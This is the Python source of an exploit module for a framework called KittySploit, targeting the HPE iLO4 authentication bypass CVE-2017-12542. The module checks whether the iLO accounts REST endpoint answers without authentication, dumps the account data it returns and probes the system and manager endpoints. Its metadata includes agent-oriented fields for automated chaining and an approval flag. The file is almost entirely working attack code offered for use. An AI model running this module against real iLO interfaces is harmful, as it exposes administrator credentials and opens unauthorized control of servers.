HPE iLO4 Authentication Bypass (CVE-2017-12542)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""HPE iLO4 authentication bypass (CVE-2017-12542)."""

import json

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'HPE iLO4 Authentication Bypass (CVE-2017-12542)',
        'description': (
            'Exploits CVE-2017-12542 in HPE Integrated Lights-Out 4 before 2.53: '
            'unauthenticated REST access to /rest/v1/AccountService/Accounts and related APIs.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2017-12542'],
        'platform': Platform.MULTI,
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2017-12542',
            'https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03769en_us',
        ],
        'tags': ['hpe', 'ilo', 'ilo4', 'auth-bypass', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['credential_access', 'privilege_escalation'],
            'expected_requests': 3,
            'reversible': True,
            'approval_required': True,
            'produces': ['credentials', 'admin_surface'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2017_12542_detect'],
            },
        },
    }

    accounts_path = OptString(
        '/rest/v1/AccountService/Accounts',
        'iLO accounts REST endpoint',
        required=False,
        advanced=True,
    )

    def check(self):
        path = str(self.accounts_path or '/rest/v1/AccountService/Accounts').strip()
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r or r.status_code != 200:
            return {'vulnerable': False, 'reason': 'Accounts API not accessible', 'confidence': 'medium'}
        body = r.text or ''
        if 'iLO User' in body or 'Members' in body:
            return {'vulnerable': True, 'reason': 'Unauthenticated iLO account enumeration', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Expected iLO account JSON missing', 'confidence': 'low'}

    def run(self):
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason'))
            return False
        path = str(self.accounts_path or '/rest/v1/AccountService/Accounts').strip()
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        body = (r.text or '') if r else ''
        try:
            print_success(json.dumps(json.loads(body), indent=2)[:4000])
        except json.JSONDecodeError:
            print_success(body[:4000])
        for extra in (
            '/rest/v1/Systems/1',
            '/rest/v1/Managers/1',
        ):
            er = self.http_request(method='GET', path=extra, allow_redirects=False)
            if er and er.status_code == 200:
                print_status(f'{extra} — HTTP 200 ({len(er.text or "")} bytes)')
        print_warning('iLO auth bypass enables account creation / virtual media RCE on some builds')
        return True